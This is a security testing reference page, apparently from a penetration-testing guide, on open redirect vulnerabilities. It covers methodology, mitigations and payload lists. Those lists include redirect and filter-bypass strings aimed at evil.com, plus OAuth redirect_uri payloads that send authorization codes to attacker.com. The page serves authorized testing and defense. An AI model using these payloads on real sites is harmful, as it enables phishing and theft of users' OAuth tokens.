OWASP Hunting
Access Control

Open Redirect

Open redirect vulnerabilities allow attackers to redirect users to attacker-controlled URLs, enabling phishing and OAuth token theft.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

Open redirect vulnerabilities occur when an application accepts a user-supplied URL as a redirect target without validating that it belongs to a trusted domain. Attackers exploit this to redirect victims to phishing pages, bypass SSRF filters, or steal OAuth authorization codes by redirecting the victim to an attacker-controlled callback URL.

Attack Vectors

  • Login/logout redirect parameters (?next=, ?redirect=, ?url=)
  • OAuth redirect_uri parameters
  • Email link tracking systems
  • After-payment or post-action redirects

Testing Methodology

  1. Find redirect parameters (next, redirect, url, return, returnTo, forward)
  2. Submit an external URL: ?next=https://evil.com
  3. Test bypass techniques: //evil.com, ///evil.com, https:evil.com
  4. Try URL encoding: %2F%2Fevil.com, %252F%252Fevil.com
  5. Test for OAuth redirect_uri manipulation to steal auth codes

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

Basic Open Redirect
?redirect=https://evil.com?next=https://evil.com?url=https://evil.com?return=https://evil.com?returnTo=https://evil.com
Bypass Techniques
?redirect=//evil.com?redirect=///evil.com?redirect=https:evil.com?redirect=https;//evil.com?redirect=https:/\evil.com
URL Encoding Bypass
?redirect=%2F%2Fevil.com?redirect=%252F%252Fevil.com?redirect=https%3A%2F%2Fevil.com
OAuth Abuse
?redirect_uri=https://attacker.com/callback?redirect_uri=https://trusted.com.evil.com/callback

Indicators of Vulnerability

  • Browser redirected to external attacker-controlled domain
  • Authorization code or access token appears in attacker's server logs
  • Redirect occurs without validation of target domain

Detection Guidance

Validate redirect targets against an allowlist of trusted domains. Log all redirect parameter values and monitor for external domain redirects.

Mitigation & Remediation

  • Validate redirect targets against an allowlist of trusted domains
  • Use indirect reference maps for post-action redirects instead of user-supplied URLs
  • For OAuth: strictly validate redirect_uri against pre-registered exact values
  • Display a warning page before redirecting to an external URL

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)